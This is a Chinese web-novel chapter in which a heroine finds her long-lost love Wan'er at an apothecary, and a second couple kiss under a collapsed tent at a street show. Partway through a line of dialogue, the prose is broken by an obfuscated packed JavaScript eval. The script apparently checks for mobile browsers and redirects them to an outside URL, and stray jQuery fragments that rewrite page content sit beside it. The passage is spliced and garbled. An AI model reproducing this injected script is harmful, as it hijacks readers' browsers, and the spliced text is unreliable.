89.再见晚儿
作品:《前夫哥变成落魄小伴读》 叶江离在堂中来回踱步,里屋时不时传来岳青痛苦的呜咽声。
此时,小风拖着受伤的胳膊进来,歉意道:“抱歉,我没找到人。”
叶江离扶他坐下,“不用了,人已经放出来了,你这是怎么回事?”
她想叫郎中来给小风处理一下伤口,却发现他的伤口已经被包扎好了,“谁给你包扎的?”
包扎的样式一瞧就是出自他人之手,小风迟疑道:“小姐,我遇到一个人,他说他叫江晚。”
叶江离闻言一怔,眼中并未浮现出太多惊喜,江姓并不少见,名字里带“晚”的也多了去了,千百次的失望过后,如今听到反而平静了,只是照旧问出:“哪里遇见的?是他给你包扎的?”
小风点头,“是个药铺,但当时太慌乱了,我没来得及问,明日去看看吗?”
“啊——”里屋陡然传出一声惨叫,叶江离面露担忧,丢下一句,“明日再说,眼下岳青的事要紧。”
说罢,就起身进去了。
*
萧念理清了思绪,第二日便上门来看望岳青。
“岳青还昏睡着,我们去外头说话吧。”叶江离招呼萧念和江砚澄在厅堂坐下,“岳青的事……”
“不能算了。”萧念目光凛然,“她们不过是想让我知难而退,岳青因我受牵连,这口气实在忍不了。”
叶江离附和,“定然是温家狗干的好事,加上你上次遇刺,我们新仇旧恨一起算!你打算怎么做?”
萧念思索一瞬,道:“釜底抽薪,召集那些书院山长,将温家联合苏总管在书院做的那些腌臜事都抖搂出来。”
末了,她顿了顿,“只是此招甚险,我怕温家会狗急跳墙,到时再连累你们……”
“我不怕。”岳青不知何时走了出来,面色苍白,但目光坚毅。叶江离赶忙扶她在椅子上坐下,“你还伤着呢,郎中说了别乱动。”
岳青摆摆手,虚弱地说:“我不怕受牵连,你们尽管去做,她若要命,只有这一条,拿去便罢!京都府是非不分,内外勾结,简直愧对朝廷,愧对百姓!只可惜我如今只有这烂命一条,做不了什么……咳咳!”
“不必多说,我都明白。”萧念站起身,从江砚澄手里拿过一个木盒,她让人连夜修好了那根芍药银簪,并在上面加了一串珠坠,递给岳青,“不知还能不能赶得上你弟弟的及笄礼。”
岳青接过一看,莞尔道:“我替我弟弟谢过你。”
“不用谢我。”萧念眼眸低垂,落在她脖颈出露出的伤痕上,“要不是因为我,你也不会受这么重的伤……”
“别这么说!”岳青握住她的手腕,神色真挚,“若是没有你,我或许只是一个普通的书生,从来没想过原来我还可以做这么多事,你让我知道我也可以用自己的绵薄之力,造福百姓。若是怕苦怕难,遇到点事就退缩,那将来还如何为朝廷效力?我也枉读了这么多年的圣贤书了。”
萧念被岳青纯正坚毅的目光所打动,这一刻,心底油然地生出一股敬佩之意。
几人商讨了一下计策,差不多商定时,小风叩门进来,他又去了一趟药铺,摸清了基本情况后,回来告诉叶江离,“小姐,那个药铺叫济世堂,掌柜的姓李,叫江晚的男子是她的学徒,几个月前来的京城,现在过去看看吗?”
“济世堂?”萧念听着有些印象,转头问江砚澄,“之前是不是路过一家药铺也叫这个名字?”
江砚澄回想了下,“是……当时确实有个男子,背着包袱,好像脸上还盖了块布,像是受伤了……”
“对!”小风点头,“他眼尾也有颗红痣。”
话音落,叶江离猛地站了起来,“此话当真?你为何不早说?快带我去。”
小风有些无辜,嘀咕道:“我也没机会说啊。”
叶江离已经跑没影了,萧念和岳青对视一眼,“你先在此处疗伤,我和阿砚去看看。”
有了岳青的前车之鉴,萧念不放心叶江离单独行动,紧忙跟了上去。
马车上,叶江离如坐针毡,萧念劝慰她,“江离,还是莫要抱太大希望的好。”
希望越大,失望越大。
叶江离当然知道,可她忍不住,三年了,如果真是他……
济世堂,有了晚儿的协助,李掌柜轻松了很多,许多附近腿脚不便的老人常常来这里抓药,晚儿贴心地把人扶到凳子上坐下,温声问道:“老人家,您是哪里不舒服?”
老爷子颤巍巍地掀起裤腿,哎哟道:“昨儿个起夜,没当心踩空了,滑了一跤,哎哟你看,摔成这样了,疼死我了。”
晚儿蹲下身仔细检查伤口,随后笑了笑,“莫担心,不是很严重,我拿些跌打损伤的药,您回去敷一敷,过几日就好了。”
“好好……”老爷子频频点头。
“晚儿……”一声轻唤自身后响起,很轻、很暖,带着旧日的思念穿过漫长岁月降临在心间,是他朝思暮想,做梦也想听一听的声音。
是她。
晚儿怔愣一瞬,麻木地站起来,原地驻足半天却不敢转过身,指尖狠狠掐进掌心,钻心的疼却掩盖不住紊乱的心跳。直到听见脚步声越来越近,身后之人的影子逐渐攀上他的臂膀,他才猛然回过神,抬手捂住脸上的伤疤,扭身与她擦肩而过,快步跑出药铺。
“晚儿!”叶江离指尖堪堪擦过他的衣角,只差一点便能抓住了。见他逃走,立刻快步追了上去,“你去哪里!晚儿!别走……”
晚儿慌不择路地跑,却跑进了一个死胡同,无路可去,只能站在原地。梧桐叶一片片落下,顺着衣角滚落在脚边。
叶江离赶来时便瞧见一个单薄的身影,背对着她站在秋日落叶中,比起当初见时要消瘦许多。
心疼夹杂着一股不可置信的窃喜充斥心头,她慢步近前,每走一步都带着十二分的小心,梧桐叶被踩碎在脚底,发出沙沙声响,与心底舞动的雀跃交织出一首狂响曲。
“晚儿,是你吗?”叶江离轻声询问,丝毫没有发觉语气里的颤音,没得到回复也不恼,只是挪着步子靠近,“你知道吗?我一直在找你,我找了你三年……这三年里,每一个日夜我都在想你……我从来没放弃过,我只想告诉你,那日我没有失约……我找了你很久,可一直都找不到……”
“我……我还想告诉你,我收敛性子了,我有好好温书,许多诗我也会背、会写了……我的字也不丑了……真的,我还参加了今年的乡试,我还学了书画……为你学的,我画了很多,都是你在我梦中的样子……”
她一字一句地说着,明明是最寻常不过的话语,却宛如沾了蜜的刀,刀刀戳进晚儿的心窝,疼得他发不出任何言语,只任由泪水打湿了衣襟。
“晚儿,别躲着我了,看看我好不好?”叶江离试探地伸出手,哽咽道:“是不是我做错了什么……才让你躲我躲到如今?”
不……
晚儿狂摇头,可始终没有转过身。
叶江离心下一紧,抓住晚儿的肩头扳过来,“那你为什么不肯看我……”
消瘦的面孔已完全被泪水打湿,眼尾的红痣被红晕染得似火,左脸上盖着的粗布掀开一角,露出底下狰狞的疤痕。
“这是……”叶江离颤抖的指尖想要去触碰,被晚儿一把捂住,低垂着头躲避,“晚儿已不似从前,小姐还是别看的好,怕吓着你。”
叶江离摇头,“怎么会这样?当年到底发生了什么?”
晚儿闭眼,落下两行清泪,“往事已去,不必再问了,如今晚儿生活顺遂,能见着小姐一面已是知足。”
闻言,叶江离只觉得心脏像是被扔进了荆棘丛,生生扎出千百个洞,她缓缓伸出手,将晚儿拢进怀里,不敢用力,只轻轻挨着,生怕下一秒他又随风散了。
“好……我不问了,只求你别离开了,好不好?我好想你……”
晚儿将脸小心靠在叶江离的胸膛,踏实的触感抚平了漂浮多年的心,他轻轻倚着、靠着、逐渐大胆贴近,直至整个人都埋进了叶江离的怀里,思念、难过、委屈……种种情绪都如奔腾的江水,泪雨连珠打湿了叶江离的衣襟,到最后化为了一声轻而柔的“我也想你。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157493|191062||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
闻言,叶江离才敢缓缓收紧手臂,恨不能将怀中人揉进骨血里。心脏被无限收紧后又轻轻松开,一点点被怀中人的温度撑满,填补了空缺的各个角落。胀的发疼却带着无尽的喜悦,每处缝隙都浸满了绵密的蜜糖,甜得沉醉,甜得梦幻。
“晚儿,你回来了,真好。”
头顶的日光穿过层层金黄的梧桐叶,在两人肩头,洒下一层稀薄的金辉,叶江离下巴倚着晚儿的头顶,只觉得他瘦得可怕,感受到他似乎在颤抖,惊慌地松开他,问道:“我弄疼你了?”
晚儿眼角的泪已然干涸,他摇头,扬起嘴角再次扑进叶江离怀里,轻声说道:“再让我抱一会儿。”
“好……”叶江离轻抚他的发丝,柔声说:“抱多久都可以,晚儿,只要你别离开我,你要什么我都依你。”
埋在胸膛的笑脸僵住了,苦涩再次袭击了眼眶,晚儿手上的力道又紧了一分,颤声应答:“好……不离开。”
巷口处,萧念与江砚澄对视一眼,默契地离开了,将独处的时间留给二人。
“小姐,回去吗?”江砚澄逆光而立,被风扬起的发丝在金光中熠熠生辉,清亮的眼眸藏着笑意,仿佛倒映着万千世界。惹得萧念手痒地伸出指尖在他脸上捏了两下,“不回,看看风景。”
“看风景?”江砚澄狐疑地扫了眼周围,除了来往的行人和街道摊贩,哪儿来的风景可看?
萧念揽过他的肩,煞有其事道:“怎么没有?我带你去。”
济世堂所处的位置有些偏僻,于是萧念左拐右拐带着江砚澄来到一条繁华的街道,这条街的行人数量成倍增多,萧念叮嘱江砚澄:“你可得拽紧我了,别走丢了。”
江砚澄弯眸浅笑,“若是走丢了,小姐会找我吗?像叶小姐那样,一直找我?”
萧念忽然顿住,停下来看他,“没机会,你没那个机会。”
上了贼船还想跑?她可没耐心玩猫和老鼠的游戏。
人流涌动,江砚澄被迫和萧念挤在一起,垂眸看了眼十指紧扣的手,心想:确实没机会,不是他想跑,而是根本就不舍得跑。悄然间,他握得更紧了,紧到掌心最后一点空隙也消失不见。
“哎好!!再来一个!”
不远处的杂耍团发出阵阵喝彩声,遇见这种热闹,萧念总是忍不住挤上去瞧瞧,那是临时搭建的一个简易棚子,几名光着臂膀的人正在表演胸口碎大石,刚表演完,群众嚷嚷着再来一次。
“好!那就再来一次,这次,我们上两块大石!”
“好!!!”
人群气氛被烘托到顶峰,一时之间热闹非凡。人挤着人,萧念下意识地把江砚澄揽进怀里,江砚澄低笑一声,“这就是小姐说的看风景吗?”
“呃……”萧念挠了挠耳朵,看风景是假的,想和他多留些美好的回忆是真的。正想着找什么借口,不知是谁撞到了支撑棚子的竹竿,因着是随意搭建的棚子,有些不牢固,被这么一撞,麻布棚子斜斜倒了下来。
偌大的麻布铺天盖地地落在众人头顶,许多人纷纷往外躲避,萧念因站在人群中央,无处可躲,只能抬手挡住,防止砸到江砚澄。眼前视线陡然被昏暗笼罩,一时之间只能看到对方的模样。
仔细算来,前世的美好回忆也不算少了,只是在日常的相处中渐渐磨损掉了许多,如今重来一次,萧念想重新累积,将前世做过的、没做过的事都重新做一遍。
想及此处,她低头吻了下去,江砚澄也顺势闭眼,这个吻短暂而缱绻,再睁眼时已重见天日,众人合力将麻布从她们身上扯开,纷纷关怀道:“没事吧?”
“无妨。”萧念摇头,忽觉耳垂有些发热,眼神闪烁不敢看江砚澄,手心不知是冷的还是热的,冒出一层细汗来,想抽出手擦一擦,江砚澄却不让,而是拿出帕子细细替她擦着,萧念余光瞥见帕子上的云纹图案,才猛然发觉,这不是她的帕子吗?
掌心的汗擦了又冒,萧念僵着身子目视前方,大石碎了几块她不知道,只知道江砚澄低低地说了一句,“小姐说的风景,很甜。”

